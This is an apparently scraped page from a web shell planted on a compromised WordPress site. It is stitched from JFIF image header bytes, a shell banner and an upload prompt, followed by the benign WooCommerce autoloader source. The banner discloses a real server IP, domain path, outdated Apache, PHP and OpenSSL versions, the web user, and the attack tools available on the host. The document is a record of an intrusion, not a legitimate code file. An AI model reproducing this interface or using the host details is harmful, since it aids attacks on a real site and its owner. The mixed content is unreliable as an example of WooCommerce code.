????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 216.73.216.116 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/www.astacus.se/wp-content/plugins/Temp-Hold/woocommerce/includes/ |
Upload File : |
<?php if ( ! defined( 'ABSPATH' ) ) { exit; } /** * WooCommerce Autoloader. * * @class WC_Autoloader * @version 2.3.0 * @package WooCommerce/Classes * @category Class * @author WooThemes */ class WC_Autoloader { /** * Path to the includes directory. * * @var string */ private $include_path = ''; /** * The Constructor. */ public function __construct() { if ( function_exists( "__autoload" ) ) { spl_autoload_register( "__autoload" ); } spl_autoload_register( array( $this, 'autoload' ) ); $this->include_path = untrailingslashit( plugin_dir_path( WC_PLUGIN_FILE ) ) . '/includes/'; } /** * Take a class name and turn it into a file name. * * @param string $class * @return string */ private function get_file_name_from_class( $class ) { return 'class-' . str_replace( '_', '-', $class ) . '.php'; } /** * Include a class file. * * @param string $path * @return bool successful or not */ private function load_file( $path ) { if ( $path && is_readable( $path ) ) { include_once( $path ); return true; } return false; } /** * Auto-load WC classes on demand to reduce memory consumption. * * @param string $class */ public function autoload( $class ) { $class = strtolower( $class ); if ( 0 !== strpos( $class, 'wc_' ) ) { return; } $file = $this->get_file_name_from_class( $class ); $path = ''; if ( strpos( $class, 'wc_addons_gateway_' ) === 0 ) { $path = $this->include_path . 'gateways/' . substr( str_replace( '_', '-', $class ), 18 ) . '/'; } elseif ( strpos( $class, 'wc_gateway_' ) === 0 ) { $path = $this->include_path . 'gateways/' . substr( str_replace( '_', '-', $class ), 11 ) . '/'; } elseif ( strpos( $class, 'wc_shipping_' ) === 0 ) { $path = $this->include_path . 'shipping/' . substr( str_replace( '_', '-', $class ), 12 ) . '/'; } elseif ( strpos( $class, 'wc_shortcode_' ) === 0 ) { $path = $this->include_path . 'shortcodes/'; } elseif ( strpos( $class, 'wc_meta_box' ) === 0 ) { $path = $this->include_path . 'admin/meta-boxes/'; } elseif ( strpos( $class, 'wc_admin' ) === 0 ) { $path = $this->include_path . 'admin/'; } elseif ( strpos( $class, 'wc_payment_token_' ) === 0 ) { $path = $this->include_path . 'payment-tokens/'; } elseif ( strpos( $class, 'wc_log_handler_' ) === 0 ) { $path = $this->include_path . 'log-handlers/'; } if ( empty( $path ) || ! $this->load_file( $path . $file ) ) { $this->load_file( $this->include_path . $file ); } } } new WC_Autoloader();